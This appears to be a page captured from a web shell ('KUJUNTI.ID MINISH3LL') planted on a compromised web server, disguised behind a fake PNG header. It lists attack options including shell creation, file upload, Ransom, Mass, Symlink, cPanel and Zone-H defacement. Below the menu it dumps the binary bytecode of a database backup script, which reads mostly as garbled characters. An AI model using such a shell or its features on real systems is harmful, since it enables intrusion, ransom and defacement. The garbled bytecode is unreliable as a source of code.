\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/__pycache__/backup_utils.cpython-310.pyc


o

��g�j�@sLddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	m	Z	ddl
mZmZm
Z
mZddlmZmZddlmZe�e�ZddlmZddlmZdZe�d	�zdd
lmZmZdZWn*e y�zdd
l!mZmZdZWne y�dZdZdZe�"d�YnwYnwd
d�Z#dd�Z$dd�Z%ddd�Z&dS)�N)�datetime)�DatabaseConnection�
StorageTarget�	BackupJob�	BackupLog)�upload_to_storage�get_storage_space)�db)�format_size)� perform_incremental_mysql_backupTu\Artırımlı yedekleme için XtraBackup desteği bulundu. Artırımlı yedekler alınabilir.)�encrypt_file�decrypt_fileFuNGPG şifreleme modülleri yüklenemedi. Şifreleme devre dışı bırakıldı.c
Cs�z?|dvrddl}|j|||||dd�}|��WdS|dkr5ddl}|j|||||dd�}|��WdSt�d	|���Wd
Styh}	zt�d|�d|�d
|�d|�dt|	���
�WYd}	~	d
Sd}	~	ww)a�
    Test connection to a database server.
    
    Args:
        db_type (str): Database type (mysql, mariadb, postgresql)
        host (str): Database host
        port (int): Database port
        username (str): Database username
        password (str): Database password
        database (str): Database name
        
    Returns:
        bool: True if connection successful, False otherwise
    ��mysql�mariadbrN�)�host�port�user�password�database�connect_timeoutT�
postgresql)rrrr�dbnamer�Unsupported database type: FzDatabase connection error for � �:�/z: )�pymysql�connect�close�psycopg2�logger�error�	Exception�str)
�db_typerr�usernamerrr�connr!�e�r*�>/var/www/html/yedekledb24/DatabaseBackupMaster/backup_utils.py�test_database_connection-s@��,��r,c
Cs�z�tjdd�}|�|j���|��dd|j��d|j��d|j��d|j��dd	d
ddd
dddddd|j	d|g}|d}t
j|dd�}t�
|j�|jdkr^t�d|j�����WdSzIt|d��(}ddl}|�|d��}t�||�Wd�n1s�wYWd�n1s�wYt�|�t�||�t�d�WWdSty�}	zt�dt|	����WYd}	~	WdSd}	~	wwty�}	zt�dt|	����WYd}	~	dSd}	~	ww) a+
    Perform MySQL/MariaDB backup using mysqldump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    F)�delete�	mysqldumpz--host=z--port=z--user=z--password=z--single-transactionz--quickz
--routinesz
--triggersz--eventsz--add-drop-tablez--add-drop-databasez--create-optionsz--extended-insertz
--compressz--max-allowed-packet=1Gz--databasesz-r�.gzT)�capture_outputrzmysqldump error: �rbN�wbz9Compressed MySQL backup file, reducing size significantlyz Could not compress backup file: zMySQL backup error: )�tempfile�NamedTemporaryFile�writer�encoder rrr'r�
subprocess�run�os�unlink�name�
returncoder"r#�stderr�decode�open�gzip�shutil�copyfileobj�remove�move�infor$�warningr%)
�db_conn�	temp_file�pwd_file�cmd�compressed_file�result�f_inr@�f_outr)r*r*r+�perform_mysql_backup\sf



�
���
�����rOc	
CsLz�tj��}|j|d<t|j�|d<|j|d<|j|d<|j|d<d}|j	rOd|j	�d�}tj
�|�rB|}t�
d	|j	�d
|���n
t�d|j	�d|�d
��|dddddddd|g	}tj||dd�}|jdkr�|j��}t�d|���d|vr�d|vr�t�d�WdSWdSty�}zt�dt|����WYd}~dSd}~ww) a&
    Perform PostgreSQL backup using pg_dump with optimized parameters.
    
    Args:
        db_conn (DatabaseConnection): Database connection object
        temp_file (str): Path to temporary file for backup
        
    Returns:
        bool: True if backup successful, False otherwise
    �PGHOST�PGPORT�PGUSER�
PGPASSWORD�
PGDATABASE�pg_dumpz/usr/lib/postgresql/z/bin/pg_dumpzUsing PostgreSQL z specific pg_dump: zPostgreSQL z pg_dump not found at z, falling back to defaultz--format=customz--blobsz--createz--cleanz--if-existsz	--verbosez--compress=9z--file=T)�envr0rzpg_dump error: zserver versionzclient versionz[PostgreSQL version compatibility issue detected. Please set the correct PostgreSQL version.FzPostgreSQL backup error: N)r9�environ�copyrr%rr'rr�
pg_version�path�existsr"rErFr7r8r<r=r>r#r$)	rGrHrV�pg_dump_cmd�version_specific_cmdrJrL�	error_msgr)r*r*r+�perform_postgresql_backup�sJ




�


��r_c,
Cs ddl}t��}|j}t|jdd�}�z�t�d|���tj�	|j
�}|spd|��}t�|�||_t
j�|�t
j��|rmzddlm}||j�WWd	Styl}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Stj�	|j�}
|
s�d
|��}t�|�||_t
j�|�t
j��|r�zddlm}||j�WWd	Sty�}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Sd}z(t|
�\}}
|
dkr�||
dnd}|dkr�d
|
j�d|d�d�}t�|�Wnt�y
}zdt|���}t�|�WYd}~nd}~wwt���d�}|jdv�r5|j�d|�d�}|jdk�r4d|j�d|�d�}n	|j�d|�d�}tj�t �!�|�}d	}d}t"|d��rX|j#�rX|j#}||_#d}|jdv�r�|dk�r�t$�r�t�d|�d|j���|dk�r�tjj%|jdd��&tj'�(���)�}|�r�|j}||_*t�d|�d ��n)|d!k�r�tjj%|jddd"��&tj'�(���)�}|�r�|j}||_*t�d#|�d$��t+||||�}|�r�|�,dd%�}nrt-||�}nl|jd&k�r�|dk�r�t�|�d'��d}||_#t.||�}nNd(|j��}t�|�||_t
j�|�t
j��|�rIzddlm}||j�WWd	St�yH}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	S|�s�d)}t�|�||_t
j�|�t
j��|�r�zddlm}||j�WWd	St�y�}	zt�dt|	����WYd}	~	Wd	Sd}	~	wwWd	Stj�/|�}d}d*}d	}t"|d+��rI|j0�rIzztj�/|�}t�d,|j1���t2j3||j1d-�}|�r(zt�4|�WnY|}|j1d.k�r�|d/7}n|j1d0k�r�|d17}n
|j1d2k�r�|d37}tj�/|�}|||d}d4|d�d5�}d6}|}t�d7t5|��d8�d9t5|��d:|d�d;��Wnt�yH}zt�d<t|����d=}WYd}~nd}~wwd}d*} d	}!t6�r�t"|d>��r�|j7�r�z||j8d?k�rv|j9�rvt:||j9|d@dA�}dB} d6}!nF|j8dCk�r�|j;�r�ddDl<m=}"|"j�	|j;�}#|#�r�|#j>�r�t:||#j>g|d@dE�}dF|#j�dG�} d6}!nt�dH|�dI��n	t�dJ|�dI��|�r�zt�4|�WnY|}|d@7}tj�/|�}Wnt�y�}zt�dKt|����dL} WYd}~nd}~ww�zOz�|
j?dMk�r�zbtj�@|�d}$tj�Atj�dN���s tjBtj�dN�d6dO�ddlC}%tj�dN|�}&|%�D||&�t�dP|&���z	t�dQ�|&}'Wnt�ya}(zt�dRt|(����|&}'WYd}(~(nd}(~(wwWn)t�y�})zt�dSt|)����tE|
||�}'WYd})~)nd})~)wwtE|
||�}'d|_Fg}*|*�GdT�|�r�|*�G|�| �r�|*�G| �|�r�|*�G|�dU�|*�|_|'|_H||_It"|dV��r�|!|_J|!�r�|j8nd|_8Wnlt�y:}z_dWt|���}t�|�||_t
j�|�t
j��|�rz
ddlm}||j�Wnt�y}	zt�dt|	����WYd}	~	nd}	~	wwWYd}~Wz	t�4|�WWd	SYWd	Sd}~wwWzt�4|�WnYn
zt�4|�WwYwt�K�|_Lt��|}+|+|_Mt
j�|�t
j��t�dX|�dY|+dZ�d[��|�r�zddlm}||j�WWd6St�y�}	zt�dt|	����WYd}	~	Wd6Sd}	~	wwWd6St�y}zRdX|�d\t|���}t�|�||_t
j�|�t
j��|�rz
ddlm}||j�Wnt�y}	zt�dt|	����WYd}	~	nd}	~	wwWYd}~d	Sd}~ww)]z�
    Run a backup job.
    
    Args:
        job (BackupJob): Backup job to run
        send_email (bool): Whether to send email notification
        
    Returns:
        bool: True if backup successful, False otherwise
    rN�failed)�job_id�statuszStarting backup job: z&Database connection not found for job )�send_backup_notificationz#Failed to send email notification: Fz!Storage target not found for job �d�
zWarning: Storage target z has less than 10% free space (z.1fz% remaining)zCould not check storage space: z
%Y%m%d_%H%M%Sr�_z.sqlr�mariadb_z.dump�full�
backup_methodzPerforming z backup using XtraBackup for �incremental�successzUsing last backup ID z! as parent for incremental backup�differential)rarirbzUsing last full backup ID z" as parent for differential backupz
.xb.tar.gzrzA backup not supported for PostgreSQL, falling back to full backuprzBackup creation failed��compress_backupz"Applying compression with format: )�compression_type�zipz.zipr@r/ztar.gzz.tar.gzu (Sıkıştırma: z%)Tz"Compression successful. Original: z, zCompressed: z	, Ratio: �%zFailed to compress backup: u (Sıkıştırma BAŞARISIZ)�encrypt_backup�	symmetricz.gpg)�
passphrase�output_fileu" (GPG ile şifrelenmiş, simetrik)�
asymmetric)�
EncryptionKey)�
recipientsruu" (GPG ile şifrelenmiş, anahtar: �)z!Encryption key not found for job z, skipping encryptionz)Invalid encryption configuration for job zFailed to encrypt backup: u0 (Şifreleme BAŞARISIZ - şifrelenmemiş yedek)�ftp�database_backups)�exist_okzSaved local backup copy to uFFTP yükleme işlemi atlanıyor (potansiyel zaman aşımı sorunları)zThreaded FTP upload error: zLocal backup error: zBackup completed successfullyz. �	encryptedzFailed to upload backup: zBackup job z completed successfully in z.2fz secondsz	 failed: )Nr�timer;r�idr"rEr�query�get�database_idr#�messager	�session�add�commit�email_utilsrcr$r%r�
storage_idrrF�now�strftimer&rr9rZ�joinr3�
gettempdir�hasattrri�incremental_backup_support�	filter_by�order_by�	timestamp�desc�first�
parent_log_idr�replacerOr_�getsizernro�database_compression�
compress_filerCr
�encryption_supportrr�encryption_type�encryption_passphraser�encryption_key_id�modelsrw�email�storage_type�splitextr[�makedirsrA�copy2rrb�append�backup_file�backup_sizer}�utcnow�last_run�duration),�job�
send_email�dt�
start_time�job_name�
backup_logrG�msgrc�	email_err�storage�storage_warning�
free_space�total_space�percent_freer)r��backup_filenamerH�backup_successrir��last_backup�last_full_backupr�rK�compression_message�
compressed�
original_size�compressed_size�compression_ratio�encrypted_file�encryption_messager}rw�key�backup_filename_no_extrA�local_backup_path�remote_path�
thread_err�	local_err�
message_partsr�r*r*r+�
run_backup�s�


���


���
����
���
���


���

����

���������
�����



�

 ������

���

 ����r�)T)'r9r~r7r3�loggingr�rAr@�	threadingrr�rrrr�
storage_utilsrr�appr	�	getLogger�__name__r"�utilsr
rr�rE�encryption_utils_simplifiedrr
r��ImportError�encryption_utilsrFr,rOr_r�r*r*r*r+�<module>sJ

���/IB

© KUJUNTI.ID